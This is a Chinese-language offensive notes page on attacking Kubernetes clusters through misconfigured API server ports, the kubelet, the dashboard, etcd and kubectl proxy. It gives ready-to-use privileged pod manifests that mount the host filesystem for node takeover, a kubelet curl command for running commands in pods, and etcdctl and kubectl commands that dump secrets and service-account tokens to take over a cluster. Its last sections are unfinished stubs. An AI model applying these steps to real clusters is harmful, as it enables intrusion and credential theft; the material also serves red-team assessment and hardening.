Hack the k8s
API-Server
API Server在集群中被用于提供API来控制内部集群
API Server可以在两个端口上提供了对外服务:8080(insecure-port,非安全端口)和6443(secure-port,安全端口),其中8080端口提供HTTP服务且无需身份认证,6443端口提供HTTPS服务且支持身份认证
insecure-port开启
API Server在8080端口上开放的服务应该是用于测试,但如果其在生存环境中被暴露出来,攻击者便可以利用此端口进行对集群的攻击。
但是8080端口服务是默认不启动的,但如果用户在 /etc/kubernets/manifests/kube-apiserver.yaml
中有 --insecure-port=8080
配置项,那就启动了非安全端口,有了安全风险(1.20版本后该选项已经无效)
修改/etc/kubernetes/manifests/kube-apiserver.yaml
添加
- -–insecure-port=8080
- -–insecure-bind-address=0.0.0.0
获取凭证:
/api/v1/namespaces/kube-system/secrets/
使用kubectl
:
利用kubectl创建Pod并使用磁盘挂载技术获取Node节点控制权
hack.yaml
apiVersion: v1
kind: Pod
metadata:
name: neartest
spec:
hostPID: true
hostIPC: true
hostNetwork: true
containers:
- name: trpc
image: "alpine"
securityContext:
privileged: true
capabilities:
add:
- SYS_ADMIN
command: ["/bin/sh","-c","tail -f /dev/null"]
volumeMounts:
- name: etc
mountPath: /host/etc
volumes:
- name: etc
hostPath:
path: /etc
会挂载Node结点的/etc目录至pod下的/host/etc
然后就可以写计划任务弹shell提权
secure-port配置错误
若我们不带任何凭证的访问 API server的 secure-port端口(默认为6433),默认会被服务器标记为system:anonymous用户。 一般来说system:anonymous用户权限是很低的,但是如果运维人员管理失当,吧system:anonymous用户绑定到了cluster-admin用户组,那么就意味着secure-port允许匿名用户以管理员权限向集群下达命令。(也就是secure-port变成某种意义上的insecure-port了)
正常情况:
将system:anonymous用户绑定到cluster-admin用户组:
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
Kubelet
每一个Node节点都有一个kubelet服务,kubelet是在Node上用于管理本机Pod的,kubelet一般监听10250和10255端口,其中10250端口是可读可写的,10255端口是一个只读端口
10250端口是kubelet与apiserver进行通信的主要端口,通过该端口kubelet可以知道自己当前应该处理的任务
Kubelet的配置文件在Node上的/var/lib/kubelet/config.yaml
中
我们需要重点关注配置文件中的这两个选项,第一个选项用于设置kubelet api能否被匿名访问,第二个选项用于设置kubelet api访问是否需要经过Api server进行授权(这样即使匿名⽤户能够访问也不具备任何权限)
将第一个选项改为true
,随后将authorization.mode修改为AlwaysAllow
我们通过/pods
接口能够获取集群的详细信息,比如namespace,pods,containers等
此时,选择我们所有控制的容器快速过滤出高权限可逃逸的容器就很重要,在上述 /pods API 中可以获取到每个 POD 的配置,包括了 host、securityContext、volumes 等配置,可以根据容器逃逸知识快速过滤出相应的POD进行控制
可以通过
curl -XPOST -k https://node_ip:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=command"
其中namespace podname containername还可通过https://node_ip:10250/runningpods/
获取
在pods内执行命令
获取凭证:
一个 pod 与一个服务账户相关联,该服务账户的凭证(token)被放入该pod中每个容器的文件系统树,在 /var/run/secrets/kubernetes.io/serviceaccount/token
如果服务账号(Service account )绑定了 cluster-admin (即集群的 admin 权限我们可以对所有namespace下实例进行操作) ,那么我们就可以通过 token 来进行一系列的操作
由于这里10250鉴权当前的Kubernetes设计是默认安全的,所以10255的开放就可能更加容易在红蓝对抗中起到至关重要的作用。10255 本身为只读端口,虽然开放之后默认不存在鉴权能力,无法直接利用在容器中执行命令,但是可以获取环境变量ENV、主进程CMDLINE等信息,里面可能包含密码和秘钥等敏感信息
Kubernetes DashBoard未授权访问
dashboard是Kubernetes官方推出的控制Kubernetes的图形化界面,在Kubernetes配置不当导致dashboard未授权访问漏洞的情况下,通过dashboard我们可以控制整个集群。
在dashboard中默认是存在鉴权机制的,用户可以通过kubeconfig或者Token两种方式登录,当用户开启了enable-skip-login时可以在登录界面点击Skip跳过登录进入dashboard
然而通过点击Skip进入dashboard默认是没有操作集群的权限的,因为Kubernetes使用RBAC(Role-based access control)机制进行身份认证和权限管理,不同的serviceaccount拥有不同的集群权限。我们点击Skip进入dashboard实际上使用的是Kubernetes-dashboard这个ServiceAccount,如果此时该ServiceAccount没有配置特殊的权限,是默认没有办法达到控制集群任意功能的程度的
kubectl create clusterrolebinding dashboard --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:kubernetes-dashboard
此时点击跳过即可拥有管理集群的权限了
此时可以创建一个恶意的pod
apiVersion: v1
kind: Pod
metadata:
name: hack
spec:
hostPID: true
hostIPC: true
hostNetwork: true
containers:
- name: trpc
image: "alpine"
securityContext:
privileged: true
capabilities:
add:
- SYS_ADMIN
command: ["/bin/sh","-c","tail -f /dev/null"]
volumeMounts:
- name: escape
mountPath: /escape
volumes:
- name: escape
hostPath:
path: /
etcd
etcd默认端口为2379
etcdctl
下载: https://github.com/etcd-io/etcd/releases
未授权访问
在启动etcd时,如果没有指定 --client-cert-auth 参数打开证书校验,并且把listen-client-urls监听修改为0.0.0.0那么也就意味着这个端口被暴露在外,如果没有通过安全组防火墙的限制,就会造成危害
etcd默认配置文件在/etc/kubernetes/mainfest/etcd.yaml
下
当开启client-cert-auth时,通过本地可以免认证访问etcd
服务,但通过其他地址访问要携带cert进行认证访问
若没开启,则任意地址访问etcd服务都不需要进行证书校验,此时etcd服务存在未授权访问风险。
etcd Client API 有v2和v3两个版本,服务器也可能同时支持v2 v3。通过浏览器或curl访问,通常只作简单的验证,获取少量key的内容。我们可以通过etcdctl来直接dump数据库,在文件中快速翻看敏感信息
Etcd v2和v3是两套不兼容的API,如果用的是v3,就要先通过环境变量设置API为v3
export ETCDCTL_API=3
如果服务器启用了https,需要加上两个参数忽略证书校验 --insecure-transport --insecure-skip-tls-verify
遍历key:
./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://100.100.34.172:2379/ get / --prefix --keys-only
--prefix用来指定前缀,上述命令的意思就是获取所有“/”作为前缀的key value值
获取secrets:
./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://100.100.34.172:2379/ get / --prefix --keys-only|grep secrets
获取token:
./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://100.100.34.172:2379/ get /registry/secrets/kube-system/attachdetach-controller-token-2zqjb
获得到了token就可以接管集群,可以登陆dashboard,也可以使用kubectl
kubectl --insecure-skip-tls-verify -s https://100.100.34.172:6443 --token="token" -n kube-system get pods
证书泄漏
如果证书泄露了,就可以通过证书来连接etcd
export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt
export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt
export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key
./etcdctl --endpoints=https://100.100.34.172:2379/ get /registry/secrets/kube-system/attachdetach-controller-token-2zqjb
kubectl-proxy
当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy 使用kubectl proxy命令就可以使API server监听在本地的8009端口上:
kubectl proxy --port=8009
但其实 kubectl proxy 转发的是 apiserver 所有的能力,而且是默认不鉴权的
如果设置了
--accept-hosts=^.*$ --address=0.0.0.0
那么就可以直接未授权访问API Server
污点横移
待续...
权限提升
待续...
权限维持
待续...